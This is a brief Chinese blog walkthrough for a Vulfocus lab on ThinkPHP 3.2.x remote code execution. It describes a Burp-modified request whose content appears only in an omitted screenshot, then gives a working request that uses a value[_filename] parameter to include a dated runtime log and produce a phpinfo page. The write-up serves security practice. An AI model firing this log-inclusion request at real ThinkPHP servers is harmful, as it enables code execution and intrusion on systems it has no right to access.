Vulfocus靶场 | thinkphp3.2.X代码执行

这里直接放通关姿势了,想了解具体原理可以看下参考链接

通关姿势

访问URL:

http://123.58.224.8:20275

burp抓包修改如下图:

 

接着访问:

http://123.58.224.8:20275/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_08_06.log

后面的“22_08_06”是我复现的日期,你根据日期做修改即可

访问后出现phpinfo页面

直接搜索“flag”

 参考链接

【漏洞通报】ThinkPHP3.2.x RCE漏洞通报 (qq.com)

posted @   mlxwl  阅读(755)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示